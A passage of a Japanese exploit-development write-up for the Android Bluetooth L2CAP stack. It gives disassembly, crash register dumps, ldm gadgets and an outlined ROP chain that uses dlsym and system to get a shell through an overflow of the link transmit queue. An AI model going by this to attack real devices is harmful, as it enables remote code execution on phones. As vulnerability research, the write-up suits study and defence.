alloc_fn alloc; | サイズ 0x4 | オフセット 0x0 free_fn free; | サイズ 0x4 | オフセット 0x4 } allocator_t; | サイズ 0x8

typedef struct {
uint16_t event; | サイズ 0x2 | オフセット 0x0 uint16_t len; | サイズ 0x2 | オフセット 0x2 uint16_t offset; | サイズ 0x2 | オフセット 0x4 uint16_t layer_specific; | サイズ 0x2 | オフセット 0x6 uint8_t data[]; | サイズ 0xx | オフセット 0x8 } BT_HDR; | サイズ 0x8 + データ長

l2c_link_check_send_pkts 関数の逆アセンブリ:

.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => R0 を R4 に移動 => R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => R2 が null ならジャンプ => BT_HDR* p_buf が null ならジャンプ .text:0x00103112 MOVS R0, #0 => 0 を R0 に移動 => .text:0x00103114 CBZ R1, loc_103120 => R1 が null ならジャンプ => tL2C_CCB* p_ccb が null ならジャンプ .text:0x00103116 LDRH R1, [R1,#0x2C] => R1 + 0x2C を R1 にロード => p_ccb->local_cid を R1 にロード .text:0x00103118 MOVS R7, #1 => 1 を R7 に移動 => single_write = true .text:0x0010311A B loc_103124 => loc_103124 に分岐 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => R1 の上位を R2 にストア => p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => R2 を R1 に移動 => R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => R0 を R2 + 0x6 にストア => p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => R4 + 0x44 を R0 にロード => R4 + 0x44 から list_t* p_lcb->link_xmit_data_q をロード .text:0x0010312C BL list_append => list_append へのリンク付き分岐

list_append 関数の呼び出し前のレジスタ内容:

  • R0 = 最初のペイロードを持つ list_t* p_lcb->link_xmit_data_q オブジェクト
  • R1 と R2 = 2 番目のペイロードを持つ BT_HDR* p_buf オブジェクト
  • R4 = 0x44 に最初のペイロードを持つ tL2C_LCB* p_lcb オブジェクト
  • R7 = 1

list_append 関数の逆アセンブリ:

.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => R4 を R0 に移動 => R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => R1 を R5 に移動 => R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => R4 = 0 をテスト => list_t* p_lcb->link_xmit_data_q が null かテスト .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => CMP をテスト => list_t* p_lcb->link_xmit_data_q が null でなければジャンプ .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => R5 が null でなければジャンプ => BT_HDR* p_buf が null かテスト .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => R4+0x10 から R0 にロード => R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => R0 から R1 にロード => R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => 8 を R0 に移動 => R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => R1 へのリンクと交換付き分岐 => 制御された R1 に分岐 !!!

制御された R1 への分岐前のレジスタ内容:

  • R0 = 0x8
  • R1 = 2 番目のペイロードの値 + 0x0
  • R2 と R5 は 2 番目のペイロードを持つ BT_HDR* p_buff を指す
  • R4 は最初のペイロードを持つ list_t* p_lcb->link_xmit_data_q を指す

R4 が指す list_t* p_lcb->link_xmit_data_q 内の最初のペイロードの開始位置を見つけるために、0x00125734 にある ldm ガジェットを使用しました:

0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}

ターゲットクラッシュ時のレジスタ内容:

  • R4 = ade05278 = 最初のペイロードを持つ list_t* p_lcb->link_xmit_data_q ( + 0x894C ) (0x894C / 0x360 = 0x28 = 40 パケット、2 番目のペイロードにアクセス可能)

  • R0 = R4 + 0x0 = 0020de08

  • R1 = R4 + 0x4 = dead0000 = 最初のペイロード値 + 0x0

  • R2 = R4 + 0x8 = dead0001 = 最初のペイロード値 + 0x4

  • R3 = R4 + 0xC = dead0002 = 最初のペイロード値 + 0x8

  • R5 = R4 + 0x10 = ade0db14 = 最初のペイロード値 + 0xC = 2 番目のペイロードのアドレス + 0x0

  • R6 = R4 + 0x14 = dead0003 = 最初のペイロード値 + 0x10

  • R7 = R4 + 0x18 = 00200004

  • R9 (SB) = R4 + 0x1C = dead0000 = 最初のペイロード値 + 0x0

  • R10 (SL) = R4 + 0x20 = dead0001 = 最初のペイロード値 + 0x4

  • R12 (IP) = R4 + 0x24 = dead0002 = 最初のペイロード値 + 0x8

  • R13 (SP) = R4 + 0x2C = ade0db14 = 最初のペイロード値 + 0xC = 2 番目のペイロードのアドレス + 0x0

  • R14 (LR) = R4 + 0x30 = dead0003 = 最初のペイロード値 + 0x10

最初のペイロードは 0x14 バイトごとに繰り返されます。これは list_t 構造体のサイズです。

typedef struct list_t { list_node_t* head; | サイズ 0x4 | オフセット 0x0 | L2CAP ヘッダ (使用不可) list_node_t* tail; | サイズ 0x4 | オフセット 0x4 | 最初のペイロード値 + 0x0 size_t length; | サイズ 0x4 | オフセット 0x8 | 最初のペイロード値 + 0x4 list_free_cb free_cb; | サイズ 0x4 | オフセット 0xC | 最初のペイロード値 + 0x8 const allocator_t* allocator; | サイズ 0x4 | オフセット 0x10 | 最初のペイロード値 + 0xC } list_t; | サイズ 0x14

R5 が指す BT_HDR* p_buff 内の 2 番目のペイロードの開始位置を見つけるために、0x000dcecc にある ldm ガジェットを使用しました:

0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}

ターゲットクラッシュ時のレジスタ内容:

  • R2 = R5 + 0x0 = 000e0000
  • R3 = R5 + 0x4 = 00000000
  • R4 = R5 + 0x8 = 000a2002
  • R5 = 95270300 = BT_HDR* p_buff、2 番目のペイロードは + 0x???
  • R6 = R5 + 0xC = 00010006
  • R7 = R5 + 0x10 = 0002020a
  • R8 = R5 + 0x14 = 00000002

このロードマルチプルにはインクリメントはなく、BT_HDR* p_buff + 0x0 の内容は次のとおりです: 000e0000 00000000 000a2002 00010006 0002020a 00000002

ガジェットの前にインクリメント付きロードマルチプルを使用した同じテスト (0x0014b580): 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^

ターゲットクラッシュ時のログ:

クラッシュ後のレジスタ内容:

  • R1 = R5 + 0x4 = 00000000
  • R2 = R5 + 0x8 = 000a2002
  • R3 = R5 + 0xC = 00010006
  • R4 = R5 + 0x10 = 0002020a
  • R5 = 9530ee00 = BT_HDR* p_buff、2 番目のペイロードは + 0x14
  • R7 = R5 + 0x14 = 96300002
  • R8 = R5 + 0x18 = dead0007
  • SL = R5 + 0x1C = dead0008
  • FP = R5 + 0x20 = dead0009
  • SP = R5 + 0x24 = dead000a

インクリメントの場合の BT_HDR* p_buff + 0x4 の内容は: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a

2 番目のペイロードは BT_HDR* p_buff 内の + 0x14 にあることがわかります。

########################################################################################

ROP チェーンの作成

########################################################################################

Jan Ruge が libicuuc ライブラリで行ったように、bluetooth ライブラリ内の dlsym にのみアクセスできます。これにより、シェルを起動するための system のアドレスを見つけることができます。

エクスプロイトのプロセスは次のとおりです:- mem_offset 180 にあるリンク送信データバッファキューのエントリアドレスを取得し、-176 でパケットのベースを計算する

  • mem_offset 28 にある BleAdvertisingManagerImpl::SetDataAdvDataSender 関数のアドレスを取得し、Bluetooth ライブラリのベースアドレスを計算する
  • リンク送信データバッファキューのエントリアドレスを含む、32文字の最初のペイロードを構築する
  • ROP チェーンとシェルコマンドを含む、184文字の2番目のペイロードを構築する
  • リーク方法を使用して mem_offset 184 に2番目のペイロードをスプレーし、リンク送信データバッファキューに配置する
  • 最初のペイロードをオーバーフローさせて、リンク送信データバッファキュー内のエントリを上書きし、2番目のペイロードの先頭への分岐をトリガーする
  • 2番目のペイロードがシェルコマンドを開始する

説明はコードを参照してください。

########################################################################################

ツールをダウンロード